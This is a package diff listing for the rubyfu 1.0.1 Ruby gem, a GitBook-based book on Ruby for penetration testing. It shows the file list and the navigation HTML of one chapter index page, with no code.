rubyfu 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +7 -0
  2. data/README.md +96 -0
  3. data/Rakefile +1 -0
  4. data/_book/beginners.html +1299 -0
  5. data/_book/contribution.html +1350 -0
  6. data/_book/contributors/Ruby_Loves_Us.jpg +0 -0
  7. data/_book/contributors/index.html +1294 -0
  8. data/_book/contributors/todo.html +1293 -0
  9. data/_book/cover.jpg +0 -0
  10. data/_book/faqs/index.html +1308 -0
  11. data/_book/files/module03/dns_spoofing_dns-query.pcap +0 -0
  12. data/_book/files/module03/dns_spoofing_dns-req_res.pcap.pcapng +0 -0
  13. data/_book/files/module06/ftp.pcap +0 -0
  14. data/_book/files/module06/packets.pcap +0 -0
  15. data/_book/gitbook/app.js +25001 -0
  16. data/_book/gitbook/fonts/fontawesome/FontAwesome.otf +0 -0
  17. data/_book/gitbook/fonts/fontawesome/fontawesome-webfont.eot +0 -0
  18. data/_book/gitbook/fonts/fontawesome/fontawesome-webfont.svg +504 -0
  19. data/_book/gitbook/fonts/fontawesome/fontawesome-webfont.ttf +0 -0
  20. data/_book/gitbook/fonts/fontawesome/fontawesome-webfont.woff +0 -0
  21. data/_book/gitbook/images/apple-touch-icon-precomposed-152.png +0 -0
  22. data/_book/gitbook/images/favicon.ico +0 -0
  23. data/_book/gitbook/plugins/gitbook-plugin-addcssjs/README.md +19 -0
  24. data/_book/gitbook/plugins/gitbook-plugin-addcssjs/index.js +57 -0
  25. data/_book/gitbook/plugins/gitbook-plugin-addcssjs/package.json +47 -0
  26. data/_book/gitbook/plugins/gitbook-plugin-anchors/plugin.css +26 -0
  27. data/_book/gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js +30 -0
  28. data/_book/gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css +28 -0
  29. data/_book/gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js +68 -0
  30. data/_book/gitbook/plugins/gitbook-plugin-fontsettings/buttons.js +151 -0
  31. data/_book/gitbook/plugins/gitbook-plugin-fontsettings/website.css +291 -0
  32. data/_book/gitbook/plugins/gitbook-plugin-highlight/ebook.css +131 -0
  33. data/_book/gitbook/plugins/gitbook-plugin-highlight/website.css +426 -0
  34. data/_book/gitbook/plugins/gitbook-plugin-search/lunr.min.js +7 -0
  35. data/_book/gitbook/plugins/gitbook-plugin-search/search.css +27 -0
  36. data/_book/gitbook/plugins/gitbook-plugin-search/search.js +135 -0
  37. data/_book/gitbook/plugins/gitbook-plugin-sharing/buttons.js +93 -0
  38. data/_book/gitbook/plugins/gitbook-plugin-splitter/splitter.css +22 -0
  39. data/_book/gitbook/plugins/gitbook-plugin-splitter/splitter.js +122 -0
  40. data/_book/gitbook/style.css +9 -0
  41. data/_book/googlec55db2d603c3da8b.html +1 -0
  42. data/_book/images/module02/Cryptography__wiringdiagram.png +0 -0
  43. data/_book/images/module02/packaging__ocra1.png +0 -0
  44. data/_book/images/module03/dns_spoofing_wireshark1.png +0 -0
  45. data/_book/images/module03/dns_spoofing_wireshark2.png +0 -0
  46. data/_book/images/module04/webfu__post_form1.png +0 -0
  47. data/_book/images/module04/webfu__proxy2.png +0 -0
  48. data/_book/images/module04/webfu__twitterAPI1.png +0 -0
  49. data/_book/images/module04/webfu__xmlrpc1.png +0 -0
  50. data/_book/images/module05/msf_template1.png +0 -0
  51. data/_book/images/module06/win-foren__winreg1.png +0 -0
  52. data/_book/images/other/Ruby_Loves_Us.jpg +0 -0
  53. data/_book/images/other/cover.jpg +0 -0
  54. data/_book/images/other/cover_small.jpg +0 -0
  55. data/_book/images/other/logo.png +0 -0
  56. data/_book/images/other/rubyfu.png +0 -0
  57. data/_book/images/other/rubyfu1.png +0 -0
  58. data/_book/images/other/rubyfu3.png +0 -0
  59. data/_book/images/other/rubyfu4.png +0 -0
  60. data/_book/images/other/rubyfu_.png +0 -0
  61. data/_book/index.html +1284 -0
  62. data/_book/module_0x1__basic_ruby_kung_fu/array.html +1297 -0
  63. data/_book/module_0x1__basic_ruby_kung_fu/conversion.html +1386 -0
  64. data/_book/module_0x1__basic_ruby_kung_fu/extraction.html +1346 -0
  65. data/_book/module_0x1__basic_ruby_kung_fu/index.html +1367 -0
  66. data/_book/module_0x1__basic_ruby_kung_fu/string.html +1451 -0
  67. data/_book/module_0x2__system_kung_fu/command_execution.html +1348 -0
  68. data/_book/module_0x2__system_kung_fu/cryptography.html +1396 -0
  69. data/_book/module_0x2__system_kung_fu/email.html +1352 -0
  70. data/_book/module_0x2__system_kung_fu/file_manipulation.html +1371 -0
  71. data/_book/module_0x2__system_kung_fu/index.html +1557 -0
  72. data/_book/module_0x2__system_kung_fu/ncatrb.html +1424 -0
  73. data/_book/module_0x2__system_kung_fu/packaging.md +1 -0
  74. data/_book/module_0x2__system_kung_fu/packaging__ocra1.png +0 -0
  75. data/_book/module_0x2__system_kung_fu/parsing_html,_xml,_json.html +1395 -0
  76. data/_book/module_0x2__system_kung_fu/rce_as_a_service.html +1336 -0
  77. data/_book/module_0x2__system_kung_fu/smtp_enumeration.html +1308 -0
  78. data/_book/module_0x2__system_kung_fu/system_shell.html +1299 -0
  79. data/_book/module_0x2__system_kung_fu/virustotal.html +1318 -0
  80. data/_book/module_0x3__network_kung_fu/Remote_shell.md +19 -0
  81. data/_book/module_0x3__network_kung_fu/arp_spoofing.html +1420 -0
  82. data/_book/module_0x3__network_kung_fu/dns.html +1315 -0
  83. data/_book/module_0x3__network_kung_fu/dns_bruteforce.md +49 -0
  84. data/_book/module_0x3__network_kung_fu/dns_enumeration.html +1371 -0
  85. data/_book/module_0x3__network_kung_fu/dns_spoofing.html +1694 -0
  86. data/_book/module_0x3__network_kung_fu/dns_spoofing_wireshark2.png +0 -0
  87. data/_book/module_0x3__network_kung_fu/ftp.html +1287 -0
  88. data/_book/module_0x3__network_kung_fu/index.html +1392 -0
  89. data/_book/module_0x3__network_kung_fu/network_scanning.html +1339 -0
  90. data/_book/module_0x3__network_kung_fu/network_traffic_analysis.html +1356 -0
  91. data/_book/module_0x3__network_kung_fu/nmap.html +1355 -0
  92. data/_book/module_0x3__network_kung_fu/oracle_tns_enum1.png +0 -0
  93. data/_book/module_0x3__network_kung_fu/packet_manipulation.html +1386 -0
  94. data/_book/module_0x3__network_kung_fu/ruby_socket.html +1553 -0
  95. data/_book/module_0x3__network_kung_fu/snmp_enumeration.html +1314 -0
  96. data/_book/module_0x3__network_kung_fu/ssh.html +1461 -0
  97. data/_book/module_0x3__network_kung_fu/ssid_finder.html +1324 -0
  98. data/_book/module_0x3__network_kung_fu/tns_enumeration.html +1505 -0
  99. data/_book/module_0x4__web_kung_fu/browser_manipulation.html +1630 -0
  100. data/_book/module_0x4__web_kung_fu/databases.html +1531 -0
  101. data/_book/module_0x4__web_kung_fu/extending_burpsuite.html +1303 -0
  102. data/_book/module_0x4__web_kung_fu/index.html +1536 -0
  103. data/_book/module_0x4__web_kung_fu/interacting_with_apis.html +1271 -0
  104. data/_book/module_0x4__web_kung_fu/ruby2javascript.html +1303 -0
  105. data/_book/module_0x4__web_kung_fu/sql_injection_scanner.html +1489 -0
  106. data/_book/module_0x4__web_kung_fu/twitter_api.html +1328 -0
  107. data/_book/module_0x4__web_kung_fu/web_servcies_and_apis.html +1291 -0
  108. data/_book/module_0x4__web_kung_fu/web_server_and_proxy.html +1370 -0
  109. data/_book/module_0x4__web_kung_fu/web_services.html +1394 -0
  110. data/_book/module_0x4__web_kung_fu/webfu__burp-ext1.png +0 -0
  111. data/_book/module_0x4__web_kung_fu/webfu__burp-ext2.png +0 -0
  112. data/_book/module_0x4__web_kung_fu/webfu__burp_setenv1.png +0 -0
  113. data/_book/module_0x4__web_kung_fu/webfu__proxy2.png +0 -0
  114. data/_book/module_0x4__web_kung_fu/webfu__twitterAPI1.png +0 -0
  115. data/_book/module_0x4__web_kung_fu/webfu__xmlrpc1.png +0 -0
  116. data/_book/module_0x4__web_kung_fu/wordpress_api.html +1543 -0
  117. data/_book/module_0x5__exploitation_kung_fu/MSF-struct.png +0 -0
  118. data/_book/module_0x5__exploitation_kung_fu/auxiliary_module.html +1870 -0
  119. data/_book/module_0x5__exploitation_kung_fu/exploit_module.html +1523 -0
  120. data/_book/module_0x5__exploitation_kung_fu/extensions.html +1466 -0
  121. data/_book/module_0x5__exploitation_kung_fu/fuzzer.html +1325 -0
  122. data/_book/module_0x5__exploitation_kung_fu/index.html +1319 -0
  123. data/_book/module_0x5__exploitation_kung_fu/metasm.html +1322 -0
  124. data/_book/module_0x5__exploitation_kung_fu/metasploit.html +1441 -0
  125. data/_book/module_0x5__exploitation_kung_fu/meterpreter.html +1327 -0
  126. data/_book/module_0x5__exploitation_kung_fu/meterpreter_scripting.html +1318 -0
  127. data/_book/module_0x5__exploitation_kung_fu/msf_meter_railgun1.png +0 -0
  128. data/_book/module_0x5__exploitation_kung_fu/msf_template1.png +0 -0
  129. data/_book/module_0x5__exploitation_kung_fu/railgun_api_extension.html +1300 -0
  130. data/_book/module_0x6__forensic/android_forensic.html +1356 -0
  131. data/_book/module_0x6__forensic/index.html +1332 -0
  132. data/_book/module_0x6__forensic/parsing_log_files.html +1375 -0
  133. data/_book/module_0x6__forensic/win-foren__winreg1.png +0 -0
  134. data/_book/module_0x6__forensic/windows_forensic.html +1289 -0
  135. data/_book/package.json +5 -0
  136. data/_book/references/index.html +1338 -0
  137. data/_book/required_gems.html +1342 -0
  138. data/_book/rubyfu_.png +0 -0
  139. data/_book/search_index.json +1 -0
  140. data/_book/styles/ebook.css +1 -0
  141. data/_book/styles/epub.css +1 -0
  142. data/_book/styles/header.js +5 -0
  143. data/_book/styles/mobi.css +1 -0
  144. data/_book/styles/pdf.css +1 -0
  145. data/_book/styles/website.css +41 -0
  146. data/bin/rubyfu +48 -0
  147. data/lib/rubyfu.rb +36 -0
  148. data/lib/rubyfu/browse.rb +35 -0
  149. data/lib/rubyfu/version.rb +3 -0
  150. data/lib/rubyfu/webserver.rb +30 -0
  151. metadata +210 -0
@@ -0,0 +1,1557 @@
1
+ <!DOCTYPE HTML>
2
+ <html lang="en" >
3
+
4
+ <head>
5
+
6
+ <meta charset="UTF-8">
7
+ <meta http-equiv="X-UA-Compatible" content="IE=edge" />
8
+ <title>Module 0x2 | System Kung Fu | RubyFu</title>
9
+ <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
10
+ <meta name="description" content="">
11
+ <meta name="generator" content="GitBook 2.6.2">
12
+
13
+
14
+ <meta name="HandheldFriendly" content="true"/>
15
+ <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
16
+ <meta name="apple-mobile-web-app-capable" content="yes">
17
+ <meta name="apple-mobile-web-app-status-bar-style" content="black">
18
+ <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
19
+ <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
20
+
21
+ <link rel="stylesheet" href="../gitbook/style.css">
22
+
23
+
24
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-anchors/plugin.css">
25
+
26
+
27
+
28
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-splitter/splitter.css">
29
+
30
+
31
+
32
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css">
33
+
34
+
35
+
36
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-highlight/website.css">
37
+
38
+
39
+
40
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-search/search.css">
41
+
42
+
43
+
44
+ <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-fontsettings/website.css">
45
+
46
+
47
+
48
+ <link rel="stylesheet" href="../styles/website.css">
49
+
50
+
51
+
52
+
53
+
54
+ <link rel="next" href="../module_0x2__system_kung_fu/command_execution.html" />
55
+
56
+
57
+ <link rel="prev" href="../module_0x1__basic_ruby_kung_fu/array.html" />
58
+
59
+
60
+ <script type="text/javascript" src="../styles/header.js"></script>
61
+ </head>
62
+ <body>
63
+
64
+
65
+ <div class="book"
66
+ data-level="2"
67
+ data-chapter-title="Module 0x2 | System Kung Fu"
68
+ data-filepath="module_0x2__system_kung_fu/README.md"
69
+ data-basepath=".."
70
+ data-revision="Wed Jan 27 2016 09:00:51 GMT+0300 (AST)"
71
+ data-innerlanguage="">
72
+
73
+
74
+ <div class="book-summary">
75
+ <nav role="navigation">
76
+ <ul class="summary">
77
+
78
+
79
+
80
+
81
+
82
+
83
+
84
+
85
+
86
+ <li class="chapter " data-level="0" data-path="index.html">
87
+
88
+
89
+ <a href="../index.html">
90
+
91
+ <i class="fa fa-check"></i>
92
+
93
+ Module 0x0 | Introduction
94
+ </a>
95
+
96
+
97
+ <ul class="articles">
98
+
99
+
100
+ <li class="chapter " data-level="0.1" data-path="contribution.html">
101
+
102
+
103
+ <a href="../contribution.html">
104
+
105
+ <i class="fa fa-check"></i>
106
+
107
+ <b>0.1.</b>
108
+
109
+ Contribution
110
+ </a>
111
+
112
+
113
+ </li>
114
+
115
+ <li class="chapter " data-level="0.2" data-path="beginners.html">
116
+
117
+
118
+ <a href="../beginners.html">
119
+
120
+ <i class="fa fa-check"></i>
121
+
122
+ <b>0.2.</b>
123
+
124
+ Beginners
125
+ </a>
126
+
127
+
128
+ </li>
129
+
130
+ <li class="chapter " data-level="0.3" data-path="required_gems.html">
131
+
132
+
133
+ <a href="../required_gems.html">
134
+
135
+ <i class="fa fa-check"></i>
136
+
137
+ <b>0.3.</b>
138
+
139
+ Required Gems
140
+ </a>
141
+
142
+
143
+ </li>
144
+
145
+
146
+ </ul>
147
+
148
+ </li>
149
+
150
+ <li class="chapter " data-level="1" data-path="module_0x1__basic_ruby_kung_fu/index.html">
151
+
152
+
153
+ <a href="../module_0x1__basic_ruby_kung_fu/index.html">
154
+
155
+ <i class="fa fa-check"></i>
156
+
157
+ <b>1.</b>
158
+
159
+ Module 0x1 | Basic Ruby Kung Fu
160
+ </a>
161
+
162
+
163
+ <ul class="articles">
164
+
165
+
166
+ <li class="chapter " data-level="1.1" data-path="module_0x1__basic_ruby_kung_fu/string.html">
167
+
168
+
169
+ <a href="../module_0x1__basic_ruby_kung_fu/string.html">
170
+
171
+ <i class="fa fa-check"></i>
172
+
173
+ <b>1.1.</b>
174
+
175
+ String
176
+ </a>
177
+
178
+
179
+ <ul class="articles">
180
+
181
+
182
+ <li class="chapter " data-level="1.1.1" data-path="module_0x1__basic_ruby_kung_fu/conversion.html">
183
+
184
+
185
+ <a href="../module_0x1__basic_ruby_kung_fu/conversion.html">
186
+
187
+ <i class="fa fa-check"></i>
188
+
189
+ <b>1.1.1.</b>
190
+
191
+ Conversion
192
+ </a>
193
+
194
+
195
+ </li>
196
+
197
+ <li class="chapter " data-level="1.1.2" data-path="module_0x1__basic_ruby_kung_fu/extraction.html">
198
+
199
+
200
+ <a href="../module_0x1__basic_ruby_kung_fu/extraction.html">
201
+
202
+ <i class="fa fa-check"></i>
203
+
204
+ <b>1.1.2.</b>
205
+
206
+ Extraction
207
+ </a>
208
+
209
+
210
+ </li>
211
+
212
+
213
+ </ul>
214
+
215
+ </li>
216
+
217
+ <li class="chapter " data-level="1.2" data-path="module_0x1__basic_ruby_kung_fu/array.html">
218
+
219
+
220
+ <a href="../module_0x1__basic_ruby_kung_fu/array.html">
221
+
222
+ <i class="fa fa-check"></i>
223
+
224
+ <b>1.2.</b>
225
+
226
+ Array
227
+ </a>
228
+
229
+
230
+ </li>
231
+
232
+
233
+ </ul>
234
+
235
+ </li>
236
+
237
+ <li class="chapter active" data-level="2" data-path="module_0x2__system_kung_fu/index.html">
238
+
239
+
240
+ <a href="../module_0x2__system_kung_fu/index.html">
241
+
242
+ <i class="fa fa-check"></i>
243
+
244
+ <b>2.</b>
245
+
246
+ Module 0x2 | System Kung Fu
247
+ </a>
248
+
249
+
250
+ <ul class="articles">
251
+
252
+
253
+ <li class="chapter " data-level="2.1" data-path="module_0x2__system_kung_fu/command_execution.html">
254
+
255
+
256
+ <a href="../module_0x2__system_kung_fu/command_execution.html">
257
+
258
+ <i class="fa fa-check"></i>
259
+
260
+ <b>2.1.</b>
261
+
262
+ Command Execution
263
+ </a>
264
+
265
+
266
+ </li>
267
+
268
+ <li class="chapter " data-level="2.2" data-path="module_0x2__system_kung_fu/file_manipulation.html">
269
+
270
+
271
+ <a href="../module_0x2__system_kung_fu/file_manipulation.html">
272
+
273
+ <i class="fa fa-check"></i>
274
+
275
+ <b>2.2.</b>
276
+
277
+ File manipulation
278
+ </a>
279
+
280
+
281
+ <ul class="articles">
282
+
283
+
284
+ <li class="chapter " data-level="2.2.1" data-path="module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
285
+
286
+
287
+ <a href="../module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
288
+
289
+ <i class="fa fa-check"></i>
290
+
291
+ <b>2.2.1.</b>
292
+
293
+ Parsing HTML, XML, JSON
294
+ </a>
295
+
296
+
297
+ </li>
298
+
299
+
300
+ </ul>
301
+
302
+ </li>
303
+
304
+ <li class="chapter " data-level="2.3" data-path="module_0x2__system_kung_fu/cryptography.html">
305
+
306
+
307
+ <a href="../module_0x2__system_kung_fu/cryptography.html">
308
+
309
+ <i class="fa fa-check"></i>
310
+
311
+ <b>2.3.</b>
312
+
313
+ Cryptography
314
+ </a>
315
+
316
+
317
+ </li>
318
+
319
+ <li class="chapter " data-level="2.4" data-path="module_0x2__system_kung_fu/system_shell.html">
320
+
321
+
322
+ <a href="../module_0x2__system_kung_fu/system_shell.html">
323
+
324
+ <i class="fa fa-check"></i>
325
+
326
+ <b>2.4.</b>
327
+
328
+ Remote Shell
329
+ </a>
330
+
331
+
332
+ <ul class="articles">
333
+
334
+
335
+ <li class="chapter " data-level="2.4.1" data-path="module_0x2__system_kung_fu/ncatrb.html">
336
+
337
+
338
+ <a href="../module_0x2__system_kung_fu/ncatrb.html">
339
+
340
+ <i class="fa fa-check"></i>
341
+
342
+ <b>2.4.1.</b>
343
+
344
+ Ncat.rb
345
+ </a>
346
+
347
+
348
+ </li>
349
+
350
+ <li class="chapter " data-level="2.4.2" data-path="module_0x2__system_kung_fu/rce_as_a_service.html">
351
+
352
+
353
+ <a href="../module_0x2__system_kung_fu/rce_as_a_service.html">
354
+
355
+ <i class="fa fa-check"></i>
356
+
357
+ <b>2.4.2.</b>
358
+
359
+ RCE as a Service
360
+ </a>
361
+
362
+
363
+ </li>
364
+
365
+
366
+ </ul>
367
+
368
+ </li>
369
+
370
+ <li class="chapter " data-level="2.5" data-path="module_0x2__system_kung_fu/virustotal.html">
371
+
372
+
373
+ <a href="../module_0x2__system_kung_fu/virustotal.html">
374
+
375
+ <i class="fa fa-check"></i>
376
+
377
+ <b>2.5.</b>
378
+
379
+ VirusTotal
380
+ </a>
381
+
382
+
383
+ </li>
384
+
385
+
386
+ </ul>
387
+
388
+ </li>
389
+
390
+ <li class="chapter " data-level="3" data-path="module_0x3__network_kung_fu/index.html">
391
+
392
+
393
+ <a href="../module_0x3__network_kung_fu/index.html">
394
+
395
+ <i class="fa fa-check"></i>
396
+
397
+ <b>3.</b>
398
+
399
+ Module 0x3 | Network Kung Fu
400
+ </a>
401
+
402
+
403
+ <ul class="articles">
404
+
405
+
406
+ <li class="chapter " data-level="3.1" data-path="module_0x3__network_kung_fu/ruby_socket.html">
407
+
408
+
409
+ <a href="../module_0x3__network_kung_fu/ruby_socket.html">
410
+
411
+ <i class="fa fa-check"></i>
412
+
413
+ <b>3.1.</b>
414
+
415
+ Ruby Socket
416
+ </a>
417
+
418
+
419
+ </li>
420
+
421
+ <li class="chapter " data-level="3.2" data-path="module_0x3__network_kung_fu/ssid_finder.html">
422
+
423
+
424
+ <a href="../module_0x3__network_kung_fu/ssid_finder.html">
425
+
426
+ <i class="fa fa-check"></i>
427
+
428
+ <b>3.2.</b>
429
+
430
+ SSID Finder
431
+ </a>
432
+
433
+
434
+ </li>
435
+
436
+ <li class="chapter " data-level="3.3" data-path="module_0x3__network_kung_fu/ftp.html">
437
+
438
+
439
+ <a href="../module_0x3__network_kung_fu/ftp.html">
440
+
441
+ <i class="fa fa-check"></i>
442
+
443
+ <b>3.3.</b>
444
+
445
+ FTP
446
+ </a>
447
+
448
+
449
+ </li>
450
+
451
+ <li class="chapter " data-level="3.4" data-path="module_0x3__network_kung_fu/ssh.html">
452
+
453
+
454
+ <a href="../module_0x3__network_kung_fu/ssh.html">
455
+
456
+ <i class="fa fa-check"></i>
457
+
458
+ <b>3.4.</b>
459
+
460
+ SSH
461
+ </a>
462
+
463
+
464
+ </li>
465
+
466
+ <li class="chapter " data-level="3.5" data-path="module_0x2__system_kung_fu/email.html">
467
+
468
+
469
+ <a href="../module_0x2__system_kung_fu/email.html">
470
+
471
+ <i class="fa fa-check"></i>
472
+
473
+ <b>3.5.</b>
474
+
475
+ Email
476
+ </a>
477
+
478
+
479
+ <ul class="articles">
480
+
481
+
482
+ <li class="chapter " data-level="3.5.1" data-path="module_0x2__system_kung_fu/smtp_enumeration.html">
483
+
484
+
485
+ <a href="../module_0x2__system_kung_fu/smtp_enumeration.html">
486
+
487
+ <i class="fa fa-check"></i>
488
+
489
+ <b>3.5.1.</b>
490
+
491
+ SMTP Enumeration
492
+ </a>
493
+
494
+
495
+ </li>
496
+
497
+
498
+ </ul>
499
+
500
+ </li>
501
+
502
+ <li class="chapter " data-level="3.6" data-path="module_0x3__network_kung_fu/network_scanning.html">
503
+
504
+
505
+ <a href="../module_0x3__network_kung_fu/network_scanning.html">
506
+
507
+ <i class="fa fa-check"></i>
508
+
509
+ <b>3.6.</b>
510
+
511
+ Network Scanning
512
+ </a>
513
+
514
+
515
+ <ul class="articles">
516
+
517
+
518
+ <li class="chapter " data-level="3.6.1" data-path="module_0x3__network_kung_fu/nmap.html">
519
+
520
+
521
+ <a href="../module_0x3__network_kung_fu/nmap.html">
522
+
523
+ <i class="fa fa-check"></i>
524
+
525
+ <b>3.6.1.</b>
526
+
527
+ Nmap
528
+ </a>
529
+
530
+
531
+ </li>
532
+
533
+
534
+ </ul>
535
+
536
+ </li>
537
+
538
+ <li class="chapter " data-level="3.7" data-path="module_0x3__network_kung_fu/dns.html">
539
+
540
+
541
+ <a href="../module_0x3__network_kung_fu/dns.html">
542
+
543
+ <i class="fa fa-check"></i>
544
+
545
+ <b>3.7.</b>
546
+
547
+ DNS
548
+ </a>
549
+
550
+
551
+ <ul class="articles">
552
+
553
+
554
+ <li class="chapter " data-level="3.7.1" data-path="module_0x3__network_kung_fu/dns_enumeration.html">
555
+
556
+
557
+ <a href="../module_0x3__network_kung_fu/dns_enumeration.html">
558
+
559
+ <i class="fa fa-check"></i>
560
+
561
+ <b>3.7.1.</b>
562
+
563
+ DNS Enumeration
564
+ </a>
565
+
566
+
567
+ </li>
568
+
569
+
570
+ </ul>
571
+
572
+ </li>
573
+
574
+ <li class="chapter " data-level="3.8" data-path="module_0x3__network_kung_fu/snmp_enumeration.html">
575
+
576
+
577
+ <a href="../module_0x3__network_kung_fu/snmp_enumeration.html">
578
+
579
+ <i class="fa fa-check"></i>
580
+
581
+ <b>3.8.</b>
582
+
583
+ SNMP Enumeration
584
+ </a>
585
+
586
+
587
+ </li>
588
+
589
+ <li class="chapter " data-level="3.9" data-path="module_0x3__network_kung_fu/tns_enumeration.html">
590
+
591
+
592
+ <a href="../module_0x3__network_kung_fu/tns_enumeration.html">
593
+
594
+ <i class="fa fa-check"></i>
595
+
596
+ <b>3.9.</b>
597
+
598
+ Oracle TNS Enumeration
599
+ </a>
600
+
601
+
602
+ </li>
603
+
604
+ <li class="chapter " data-level="3.10" data-path="module_0x3__network_kung_fu/packet_manipulation.html">
605
+
606
+
607
+ <a href="../module_0x3__network_kung_fu/packet_manipulation.html">
608
+
609
+ <i class="fa fa-check"></i>
610
+
611
+ <b>3.10.</b>
612
+
613
+ Packet manipulation
614
+ </a>
615
+
616
+
617
+ <ul class="articles">
618
+
619
+
620
+ <li class="chapter " data-level="3.10.1" data-path="module_0x3__network_kung_fu/arp_spoofing.html">
621
+
622
+
623
+ <a href="../module_0x3__network_kung_fu/arp_spoofing.html">
624
+
625
+ <i class="fa fa-check"></i>
626
+
627
+ <b>3.10.1.</b>
628
+
629
+ ARP Spoofing
630
+ </a>
631
+
632
+
633
+ </li>
634
+
635
+ <li class="chapter " data-level="3.10.2" data-path="module_0x3__network_kung_fu/dns_spoofing.html">
636
+
637
+
638
+ <a href="../module_0x3__network_kung_fu/dns_spoofing.html">
639
+
640
+ <i class="fa fa-check"></i>
641
+
642
+ <b>3.10.2.</b>
643
+
644
+ DNS Spoofing
645
+ </a>
646
+
647
+
648
+ </li>
649
+
650
+
651
+ </ul>
652
+
653
+ </li>
654
+
655
+
656
+ </ul>
657
+
658
+ </li>
659
+
660
+ <li class="chapter " data-level="4" data-path="module_0x4__web_kung_fu/index.html">
661
+
662
+
663
+ <a href="../module_0x4__web_kung_fu/index.html">
664
+
665
+ <i class="fa fa-check"></i>
666
+
667
+ <b>4.</b>
668
+
669
+ Module 0x4 | Web Kung Fu
670
+ </a>
671
+
672
+
673
+ <ul class="articles">
674
+
675
+
676
+ <li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
677
+
678
+
679
+ <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
680
+
681
+ <i class="fa fa-check"></i>
682
+
683
+ <b>4.1.</b>
684
+
685
+ SQL Injection Scanner
686
+ </a>
687
+
688
+
689
+ </li>
690
+
691
+ <li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
692
+
693
+
694
+ <a href="../module_0x4__web_kung_fu/databases.html">
695
+
696
+ <i class="fa fa-check"></i>
697
+
698
+ <b>4.2.</b>
699
+
700
+ Databases
701
+ </a>
702
+
703
+
704
+ </li>
705
+
706
+ <li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
707
+
708
+
709
+ <a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
710
+
711
+ <i class="fa fa-check"></i>
712
+
713
+ <b>4.3.</b>
714
+
715
+ Extending Burp Suite
716
+ </a>
717
+
718
+
719
+ </li>
720
+
721
+ <li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
722
+
723
+
724
+ <a href="../module_0x4__web_kung_fu/browser_manipulation.html">
725
+
726
+ <i class="fa fa-check"></i>
727
+
728
+ <b>4.4.</b>
729
+
730
+ Browser Manipulation
731
+ </a>
732
+
733
+
734
+ </li>
735
+
736
+ <li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
737
+
738
+
739
+ <a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
740
+
741
+ <i class="fa fa-check"></i>
742
+
743
+ <b>4.5.</b>
744
+
745
+ Web Services and APIs
746
+ </a>
747
+
748
+
749
+ <ul class="articles">
750
+
751
+
752
+ <li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
753
+
754
+
755
+ <a href="../module_0x4__web_kung_fu/web_services.html">
756
+
757
+ <i class="fa fa-check"></i>
758
+
759
+ <b>4.5.1.</b>
760
+
761
+ Interacting with Web Services
762
+ </a>
763
+
764
+
765
+ </li>
766
+
767
+ <li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
768
+
769
+
770
+ <a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
771
+
772
+ <i class="fa fa-check"></i>
773
+
774
+ <b>4.5.2.</b>
775
+
776
+ Interacting with APIs
777
+ </a>
778
+
779
+
780
+ <ul class="articles">
781
+
782
+
783
+ <li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
784
+
785
+
786
+ <a href="../module_0x4__web_kung_fu/wordpress_api.html">
787
+
788
+ <i class="fa fa-check"></i>
789
+
790
+ <b>4.5.2.1.</b>
791
+
792
+ WordPress API
793
+ </a>
794
+
795
+
796
+ </li>
797
+
798
+ <li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
799
+
800
+
801
+ <a href="../module_0x4__web_kung_fu/twitter_api.html">
802
+
803
+ <i class="fa fa-check"></i>
804
+
805
+ <b>4.5.2.2.</b>
806
+
807
+ Twitter API
808
+ </a>
809
+
810
+
811
+ </li>
812
+
813
+
814
+ </ul>
815
+
816
+ </li>
817
+
818
+
819
+ </ul>
820
+
821
+ </li>
822
+
823
+ <li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
824
+
825
+
826
+ <a href="../module_0x4__web_kung_fu/ruby2javascript.html">
827
+
828
+ <i class="fa fa-check"></i>
829
+
830
+ <b>4.6.</b>
831
+
832
+ Ruby 2 JavaScript
833
+ </a>
834
+
835
+
836
+ </li>
837
+
838
+ <li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
839
+
840
+
841
+ <a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
842
+
843
+ <i class="fa fa-check"></i>
844
+
845
+ <b>4.7.</b>
846
+
847
+ Web Server and Proxy
848
+ </a>
849
+
850
+
851
+ </li>
852
+
853
+
854
+ </ul>
855
+
856
+ </li>
857
+
858
+ <li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
859
+
860
+
861
+ <a href="../module_0x5__exploitation_kung_fu/index.html">
862
+
863
+ <i class="fa fa-check"></i>
864
+
865
+ <b>5.</b>
866
+
867
+ Module 0x5 | Exploitation Kung Fu
868
+ </a>
869
+
870
+
871
